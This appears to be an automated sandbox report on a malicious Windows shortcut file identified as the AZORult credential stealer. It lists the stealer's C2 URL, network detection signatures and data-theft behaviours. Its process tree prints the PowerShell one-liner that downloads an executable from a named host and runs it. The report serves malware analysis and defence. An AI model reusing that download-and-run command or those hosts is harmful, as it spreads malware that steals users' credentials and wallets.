Analysis
- max time kernel
110s - max time network
122s - platform
windows10_x64 - resource
win10-en-20211014 - submitted
06/12/2021, 09:42
General
- Target Image051.lnk
- Size 2KB
- Sample211206-lpcjqsdgal
- SHA256 db17966433630a4e75bb1a4e9aa3ebe3b9fb88e6a4fbd32b6ab4564e0af44466
Malware Config
Extracted
-
azorult
-
http://perocute.com/lang/terms/index.php
Signatures
- Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
- suricata: ET MALWARE AZORult Variant.4 Checkin M2
suricata: ET MALWARE AZORult Variant.4 Checkin M2
- suricata: ET MALWARE AZORult v3.2 Server Response M3
suricata: ET MALWARE AZORult v3.2 Server Response M3
- suricata: ET MALWARE Possible MalDoc Payload Download Nov 11 2014
suricata: ET MALWARE Possible MalDoc Payload Download Nov 11 2014
- suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
- suricata: ET MALWARE Win32/AZORult V3.2 Client Checkin M16
suricata: ET MALWARE Win32/AZORult V3.2 Client Checkin M16
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 5 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 22 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 18 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Image051.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" curL -uri ”http://sylvingsyllenesliopa.com/lang/bin.exe” -OUtfIlE ”$enV:tEMp\dkwm.exe” ; INVoKe-itEm ”$ENv:TEMP\dkwm.exe”2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\dkwm.exe"C:\Users\Admin\AppData\Local\Temp\dkwm.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\dkwm.exe"C:\Users\Admin\AppData\Local\Temp\dkwm.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\dkwm.exe"C:\Users\Admin\AppData\Local\Temp\dkwm.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- outlook_office_path
- outlook_win_path
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3988 -s 9524⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/2712-124-0x000002BFFDDB0000-0x000002BFFDDB2000-memory.dmp
memory/2712-117-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-126-0x000002BFFDDB3000-0x000002BFFDDB5000-memory.dmp
memory/2712-127-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-128-0x000002BF98400000-0x000002BF98401000-memory.dmp
memory/2712-129-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-133-0x000002BFFDDB6000-0x000002BFFDDB8000-memory.dmp
memory/2712-136-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-137-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-125-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-147-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-123-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-116-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-118-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-119-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-120-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2712-121-0x000002BF98050000-0x000002BF98051000-memory.dmp
memory/2712-122-0x000002BFFDA50000-0x000002BFFDA52000-memory.dmp
memory/2808-156-0x0000000000400000-0x0000000000421000-memory.dmp
memory/2808-159-0x0000000000400000-0x0000000000421000-memory.dmp
memory/3988-154-0x0000000006CE0000-0x0000000006CE1000-memory.dmp
memory/3988-153-0x0000000002D70000-0x0000000002D9C000-memory.dmp
memory/3988-152-0x0000000002CB0000-0x0000000002CB1000-memory.dmp
memory/3988-151-0x00000000054D0000-0x00000000054D1000-memory.dmp
memory/3988-149-0x00000000008E0000-0x00000000008E1000-memory.dmp